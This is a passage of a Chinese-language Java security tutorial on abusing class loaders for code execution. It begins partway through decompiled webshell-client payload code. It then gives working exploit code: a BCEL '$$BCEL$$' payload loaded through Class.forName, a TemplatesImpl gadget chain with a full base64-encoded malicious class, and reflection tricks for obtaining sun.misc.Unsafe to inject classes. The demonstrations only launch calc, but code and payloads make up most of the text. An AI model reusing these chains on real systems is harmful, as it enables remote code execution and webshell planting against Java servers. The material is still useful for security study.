String key = this.Session.getClass().getMethod("getAttribute", new Class[] { String.class }).invoke(this.Session, new Object[] { "u" }).toString();
byte[] raw = key.getBytes("utf-8");
SecretKeySpec skeySpec = new SecretKeySpec(raw, "AES");
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
cipher.init(1, skeySpec);
byte[] encrypted = cipher.doFinal(bs);
return encrypted;
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
for (String key : entity.keySet()) {
sb.append("\"" + key + "\":\"");
String value = ((String)entity.get(key)).toString();
if (encode)
if (version.compareTo("1.9") >= 0) {
getClass();
Class<?> Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null);
value = (String)Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
} else {
getClass();
Class<?> Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { value.getBytes("UTF-8") });
value = value.replace("\n", "").replace("\r", "");
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(","))
sb.setLength(sb.length() - 1);
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]);
this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]);
this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]);
} else {
Map<String, Object> objMap = (Map<String, Object>)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", new Class[] { String.class }).invoke(this.Response, new Object[] { "UTF-8" });
}
}
可以看到, 其中定义了equals方法, 调用fillContext函数将马子中传递过来的pageContext传入过来了, 随后通过pageContext得到WEB中request, response, session对象. 接下来的操作就不一一分析了, Java代码已放到这可以慢慢嚼, 这里主要还是看一下ClassLoader的妙用.
Tomcat ClassLoader
介绍完自定义 ClassLoader, 接下来我们看一下 Tomcat 底层使用的 ClassLoader.
Tomcat 中部署了很多应用 (Tomcat 中默认存在 CatalinaClassLoader),A应用与B应用中比如都引入了com.Heihu577类, 为了防止B应用引用到了A应用的com.Heihu577, 所以Tomcat中每个WEB都默认自定义了一个类加载器 (WebAppClassLoader).
WebAppClassLoader
研究WebAppClassLoader的加载机制, 当然我们要从loadClass方法进行入手.
那么接下来我们继续看下面的代码:
这里笔者通过Debug调试, 发现该 ClassLoader 是 ExtClassLoader, 这么做是为了让我们加载以java.打头的类例如java.lang.String时, 不会报错, 所以这里使用了ExtClassLoader. 那么看接下来的代码:
这里的 Class.forName(name, false, parent) 的含义会在下面 《代码审计时使用的场景》进行介绍.
那么我们重点分析 WebAppClassLoader 本类的findClass方法:
WEB-INF/lib下的jar包等加载在StandardRoot::getResourceInternal方法中有记载, 以及Tomcat jar包热加载这里就不再说明了, 只是简单的说明一下Tomcat ClassLoader的处理机制.
BCEL ClassLoader
BCEL 介绍
BCEL的全名应该是Apache Commons BCEL,属于Apache Commons项目下的一个子项目。Apache Commons大家应该不陌生,反序列化最著名的利用链就是出自于其另一个子项目——Apache Commons Collections。
BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。就这个库的功能来看,其使用面远不及同胞兄弟们,但是他比Commons Collections特殊的一点是,它被包含在了原生的JDK中,位于com.sun.org.apache.bcel。
BCEL Classloader在JDK < 8u251之前是在rt.jar里面。同时在Tomcat中也会存在相关的依赖。
tomcat7: org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8 及其以后: org.apache.tomcat.dbcp.dbcp2.BasicDataSource
BCEL 加载类的原理 && 恶意 EXP 编写
在研究之前, 我们先准备一个Calc类, 代码如下:
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
当类被加载, 则进入static代码块, 进行弹出计算器的操作. 下面我们再来分析BCEL类的加载原理.
在rt.jar!/com/sun/org/apache/bcel/internal/util/包下,有ClassLoader这么一个类,可以实现加载字节码并初始化一个类的功能,该类也是个Classloader(继承了原生的Classloader类)重写了loadClass()方法, 具体其他的也不多说, 直接看源码分析:
那么我们拿到一个类的字节码值有一种方式就是, 运行Java后, 读取所生成的.class文件的内容, 但是这样有点太麻烦, 有没有什么方式可以在我们运行Java中来得到字节码的信息呢? 答案是有的, 那就是Repository.lookupClass(Class<?> clazz)方法, 该方法可以在程序运行中读取一个class信息, 例如:
package com.heihu577;
import com.sun.org.apache.bcel.internal.Repository;
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
JavaClass javaclass = Repository.lookupClass(Calc.class);
System.out.println(javaclass);
/*
* public class com.heihu577.bean.Calc extends java.lang.Object
filename com.heihu577.bean.Calc
compiled from Calc.java
compiler version 52.0
access flags 33
constant pool 38 entries
ACC_SUPER flag true
Attribute(s):
SourceFile(Calc.java)
2 methods:
public void <init>()
static void <clinit>()
* */
System.out.println(Arrays.toString(javaclass.getBytes())); // 生成的字节码信息...
/*
* [-54, -2, -70, -66, 0, 0, 0, 52, 0, 38, 10, 0, 8, 0, 23, 10, 0, 24, 0, 25 ...
* */
}
}
当然了, 它的原理如下:
那么最终, 我们可以通过如下代码进行调用我们的Calc:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
JavaClass calcJavaClass = Repository.lookupClass(Calc.class); // 得到 Calc 类的 JavaClass
String calcEncode = Utility.encode(calcJavaClass.getBytes(), true); // 使用 Utility.encode 编码 Calc 的字节码
// calcJavaClass.getBytes()是用来获取字节码的
String payload = "$$BCEL$$" + calcEncode; // 得到最终 payload
Class<?> clazz = new ClassLoader().loadClass(payload); // 最终得到该类的 clazz
Object o = clazz.newInstance(); // 初始化类, 调用 static 静态代码块, 弹出计算器
}
}
运行结果如下:
代码审计时使用场景
通常当我们遇到Class.forName(可控,true,可控)时, 即可触发漏洞.
参数1: 调用 loadClass(可控) 的值
参数2: 当设置为 true 时, 则表示加载类, 这里可以直接进入到类的 static 静态代码块.
参数3: 使用哪个 ClassLoader 进行加载, 如果这里可以指定, 那么我们可以指定 BCEL ClassLoader 进行加载.
我们就可以进行一个RCE, 案例如下:
public class Main {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException,
InvocationTargetException, IllegalAccessException, InstantiationException {
JavaClass calcJavaClass = Repository.lookupClass(Calc.class);
String calcEncode = Utility.encode(calcJavaClass.getBytes(), true);
String payload = "$$BCEL$$" + calcEncode;
Class.forName(payload, true,
(ClassLoader) "".getClass().forName("com.sun.org.apache.bcel.internal.util.ClassLoader").newInstance());
// 执行完毕后, 可以弹出计算器
}
}
当然了, 这里我们也可以看一下Class.forName(String)的定义, 来理解为什么Class.forName(类名)可以直接进入到静态代码块:
@CallerSensitive
public static Class<?> forName(String className)
throws ClassNotFoundException {
Class<?> caller = Reflection.getCallerClass();
return forName0(className, true, ClassLoader.getClassLoader(caller), caller);
}
可以从中看到, 默认第二个参数设置为了 true, 所以可以直接进入 static 静态代码块.
Xalan ClassLoader
Xalan 是 Java 中用于操作 XML 的一个库,它是 Apache XML 项目的一部分,主要用于将 XSLT(Extensible Stylesheet Language Transformations)转换为可执行代码,从而实现XML文档的转换。
XSLT 的理解
当然了, 我们先理解该模块如何使用之后, 我们再研究它的妙用, XSLT 说白了就是将XML + XSL文件解析为HTML文件, 具体如何理解呢, 我们定义如下代码:
1.XML 文件内容如下:
<?xml version="1.0" encoding="ISO-8859-1"?>
<?xml-stylesheet type="text/xsl" href="1.xsl"?> <!-- 引用 1.xsl 文件 -->
<users> <!-- 定义 users, 其中存放一些信息内容 -->
<info>
<username>heihu577</username> <!-- heihu577 用户定义 -->
<age>12</age>
</info>
<info>
<username>hacker01</username> <!-- hacker01 用户定义 -->
<age>13</age>
</info>
</users>
对于XML的解释我们就不多说了, 是一种存储数据的方式.
1.XSL 文件内容如下:
<?xml version="1.0"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <!-- XSL 文件必须引用的头部内容 -->
<xsl:template match="/"> <!-- 定义一个模板文件 -->
<html> <!-- 放入你的 HTML 文档内容 -->
<body>
<h2>My XSL Tester</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>username</th>
<th>age</th>
</tr>
<xsl:for-each select="users/info"> <!-- 从 XML 文件中遍历 users/info 中的内容 -->
<tr>
<td><xsl:value-of select="username"/></td> <!-- 将 users/info/username 值放入到 td 标签中 -->
<td><xsl:value-of select="age"/></td> <!-- 将 users/info/age 值放入到 td 标签中 -->
</tr>
</xsl:for-each>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
总的来说存在一个引用关系, 关系图如下:
从图中可以看到, 1.xml 用来定义数据信息, 1.xsl 用来定义 HTML 模板并引用 1.xml 中的数据信息, 最终生成 result.html.
其中1.xml + 1.xsl -> result.html生成的 Java 代码如下:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException,
InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException {
TransformerFactory transformerFactory = new TransformerFactoryImpl(); // 得到工厂类
ClassLoader appClassLoader = ClassLoader.getSystemClassLoader(); // 得到 ClassLoader, 方便得到 resources 目录下的文件流
Transformer transformer =
transformerFactory.newTransformer(
new StreamSource(appClassLoader.getResourceAsStream("1.xsl"))
); // 得到转换器, 传入 XSL 文件
/*
@Override
public Transformer newTransformer(Source source) throws // transformerFactory.newTransformer 方法原型
TransformerConfigurationException
{
final Templates templates = newTemplates(source); // 注意这里应用到了 Templates 类
final Transformer transformer = templates.newTransformer();
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
return(transformer);
}
*/
transformer.transform(
new StreamSource(appClassLoader.getResourceAsStream("1.xml")), // 传入 1.xml 文件, 读取数据信息
new StreamResult(new File(appClassLoader.getResource(".").getPath(), "result.html")) // 生成 result.html 文件内容
);
}
}
TemplatesImpl 类攻击链
在上述代码中我们对transformerFactory.newTransformer方法增加了注释, 我们要重点关注final Templates templates = newTemplates(source);中的Templates 到底是什么, 该类型是个接口类型, 定义如下:
public interface Templates {
Transformer newTransformer() throws TransformerConfigurationException;
Properties getOutputProperties();
}
被TemplatesImpl类所实现, 如下:
public final class TemplatesImpl implements Templates, Serializable {
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
//... 其他定义
}
比较有趣的是, 该类其中定义了TransletClassLoader, 并重写了loadClass方法, 如果_loadedExternalExtensionFunctions这个Map中存在我们已经定义的Class, 那么直接返回.defineClass方法直接调用了父类的defineClass方法, 那么谁使用了该类加载器进行加载呢?如图:
可以看到的是,defineTransletClasses方法中调用了defineClass方法, 其值是我们的_bytecodes中的字节码信息, 也就是说当我们的_bytecodes值可控时就可以进行加载恶意字节码信息. 这里我们可以在本地利用反射进行学习这个类的使用.
紧接着注意我们图中398~399行中笔者折叠部分的内容:
所以这里_tfactory的值必须为TransformerFactoryImpl类才可以保证代码的正常运行, 否则到这里会抛出一个空指针异常.
以及注意图中的410 && 422行中对_auxClasses成员属性的操作:
这里如果程序运行时_bytecodes.length返回了1, 而实际运行的类并没有继承ABSTRACT_TRANSLET (AbstractTranslet), 则会进入到下面的else分支,_auxClasses将不会初始化, 也会爆出一个空指针异常.
所以如果我们的恶意类没有继承AbstractTranslet的话我们需要提前对_auxClasses进行初始化操作. 因为恶意类是我们自己编写的, 最好还是遵循这个代码的走向流程, 所以这里要特别注意的是_transletIndex变量的值.
我们的恶意类必须要进行继承com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet就可以进入if分支, 这样我们就不会遇到_auxClasses的空指针报错了.
回到loader.loadClass点, 在我们之前学习自定义ClassLoader中有了解到, 我们必须在调用defineClass后调用newInstance()生成实例才可以进入到该类的无参构造|static代码块, 而谁又调用了defineTransletClasses得到clazz对象后调用了newInstance()?
getTransletInstance方法调用了defineTransletClasses方法后进行了newInstance()操作, 用来实例化defineTransletClasses中加载的类. 可以看到我们这里_name不能为null, 否则就不会往下执行.
在newTransformer方法中调用了getTransletInstance方法, 这里已经是一个可以利用的完整链路了. 当然还有调用newTransformer方法的口:
调用流程图
为了清楚它们之间的逻辑, 笔者在这里放出总结图, 以便梳理调用关系:
本地利用该 ClassLoader
准备恶意类:
package com;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import sun.misc.BASE64Encoder;
import java.io.IOException;
import java.util.Base64;
/**
* Author: HeiHu577
* Date: 2024/9/4 16:28
* Description:
*/
public class CMD extends com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet {
static {
try {
Process exec = Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
public static void main(String[] args) {
byte[] encode = Base64.getEncoder().encode(Repository.lookupClass(CMD.class).getBytes());
System.out.print(new String(encode)); // yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
生成Payload成功后, 我们本地通过反射依次修改变量来进行RCE测试:
package com.heihu577;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl;
import sun.misc.BASE64Decoder;
import sun.misc.BASE64Encoder;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import javax.crypto.spec.SecretKeySpec;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerConfigurationException;
import javax.xml.transform.TransformerException;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.File;
import java.io.IOException;
import java.lang.reflect.Field;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.HashMap;
import java.util.Properties;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, IOException,
InstantiationException, IllegalAccessException, NoSuchPaddingException, NoSuchAlgorithmException,
InvalidKeyException, IllegalBlockSizeException, BadPaddingException, TransformerException,
NoSuchFieldException {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
Field name = templates.getClass().getDeclaredField("_name");
Field tfactory = templates.getClass().getDeclaredField("_tfactory");
name.setAccessible(true);
tfactory.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = new byte[1][];
myBytes[0] =
new BASE64Decoder().decodeBuffer(
"yv66vgAAADQAZgoAEQAzCgA0ADUHADYKADcAOAoAOQA6CgA7ADwJAD0APgcAPwoACABACgBBAEIKAEMARAgARQoAQwBGBwBHBwBICgAPAEkHAEoBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEACUxjb20vQ01EOwEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAEYXJncwEAE1tMamF2YS9sYW5nL1N0cmluZzsBAAZlbmNvZGUBAAJbQgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwBLAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwBHAQAKU291cmNlRmlsZQEACENNRC5qYXZhDAASABMHAEwMAE0AUAEAB2NvbS9DTUQHAFEMAFIAUwcAVAwAVQBWBwBXDAAdAFgHAFkMAFoAWwEAEGphdmEvbGFuZy9TdHJpbmcMABIAXAcAXQwAXgBfBwBgDABhAGIBAARjYWxjDABjAGQBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24MABIAZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABBqYXZhL3V0aWwvQmFzZTY0AQAKZ2V0RW5jb2RlcgEAB0VuY29kZXIBAAxJbm5lckNsYXNzZXMBABwoKUxqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXI7AQArY29tL3N1bi9vcmcvYXBhY2hlL2JjZWwvaW50ZXJuYWwvUmVwb3NpdG9yeQEAC2xvb2t1cENsYXNzAQBJKExqYXZhL2xhbmcvQ2xhc3M7KUxjb20vc3VuL29yZy9hcGFjaGUvYmNlbC9pbnRlcm5hbC9jbGFzc2ZpbGUvSmF2YUNsYXNzOwEANGNvbS9zdW4vb3JnL2FwYWNoZS9iY2VsL2ludGVybmFsL2NsYXNzZmlsZS9KYXZhQ2xhc3MBAAhnZXRCeXRlcwEABCgpW0IBABhqYXZhL3V0aWwvQmFzZTY0JEVuY29kZXIBAAYoW0IpW0IBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAFKFtCKVYBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAFcHJpbnQBABUoTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWACEAAwARAAAAAAAFAAEAEgATAAEAFAAAAC8AAQABAAAABSq3AAGxAAAAAgAVAAAABgABAAAAEgAWAAAADAABAAAABQAXABgAAAAJABkAGgABABQAAABaAAQAAgAAAB64AAISA7gABLYABbYABkyyAAe7AAhZK7cACbYACrEAAAACABUAAAAOAAMAAAAcAA8AHQAdAB4AFgAAABYAAgAAAB4AGwAcAAAADwAPAB0AHgABAAEAHwAgAAIAFAAAAD8AAAADAAAAAbEAAAACABUAAAAGAAEAAAAiABYAAAAgAAMAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAIwAkAAIAJQAAAAQAAQAmAAEAHwAnAAIAFAAAAEkAAAAEAAAAAbEAAAACABUAAAAGAAEAAAAmABYAAAAqAAQAAAABABcAGAAAAAAAAQAhACIAAQAAAAEAKAApAAIAAAABACoAKwADACUAAAAEAAEAJgAIACwAEwABABQAAABmAAMAAQAAABe4AAsSDLYADUunAA1LuwAPWSq3ABC/sQABAAAACQAMAA4AAwAVAAAAFgAFAAAAFQAJABgADAAWAA0AFwAWABkAFgAAAAwAAQANAAkALQAuAAAALwAAAAcAAkwHADAJAAIAMQAAAAIAMgBPAAAACgABADsANABOAAk=");
bytecodes.set(templates, myBytes);
name.set(templates, "");
tfactory.set(templates, new TransformerFactoryImpl());
Transformer transformer = templates.newTransformer();
}
}
运行会弹出计算器.
FastJson 反序列化中的应用
这一部分知识会在FastJson反序列化 && 一些反序列化链路中所使用, 笔者就先不提及了, 后续介绍反序列化时再重新拿起.
Unsafe 类
Unsafe 类不是一个 ClassLoader, 但是为什么要在本篇文章提起, 其实是因为该类可以进行注入恶意类到 JVM 中.
Unsafe 类简介
sun.misc.Unsafe类是一个提供底层、不安全的操作,比如直接内存访问、线程调度、原子操作等功能的工具类。
这个类主要被Java内部库使用,比如Java的NIO、并发包等,因为它允许绕过Java的内存管理模型,直接进行内存操作,这可能导致程序崩溃、数据损坏等严重后果。因此,它被认为是"不安全"的,并且不建议在常规的应用程序开发中使用。
Unsafe 类详解
我们可以看到图中的定义,theUnsafe成员属性的定义在static代码块中进行初始化了. 所以我们可以通过Unsafe.getUnsafe来得到该对象, 但是这里有一个限制. 根据下图进行代码分析:
Unsafe的构造方法为private修饰符, 所以我们无法在程序中直接new Unsafe()进行实例化生成, 否则程序将报错:
这里的话我们可以通过反射进行暴破获取该类的theUnsafe属性, 当然也可以通过反射暴破该类的构造方法, 都可以进行获取到Unsafe类, 代码测试如下:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Unsafe unsafe = (Unsafe) declaredConstructor.newInstance();
System.out.println(unsafe); // sun.misc.Unsafe@4554617c
}
}
以及:
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException {
Class<?> clazz = Class.forName("sun.misc.Unsafe");
Field theUnsafe = clazz.getDeclaredField("theUnsafe"); // 因为 theUnsafe 使用 static 进行修饰, 在 static 代码块中进行初始化, 所以这里无需创建 Unsafe 对象, 静态调用就可以得到.
theUnsafe.setAccessible(true);
Unsafe o = (Unsafe) theUnsafe.get(null);
System.out.println(o); // sun.misc.Unsafe@74a14482
}
}
Unsafe 类利用
我们可以通过反射得到 Unsafe 对象, 那么我们如何利用呢?
我们在Unsafe 类详解中图中已经看到了, 该类定义了三个native定义的方法, 这些方法都是由C/C++底层实现的, 如下:
public native Class<?> defineClass(String var1, byte[] var2, int var3, int var4, ClassLoader var5, ProtectionDomain var6); // 可以加载字节码
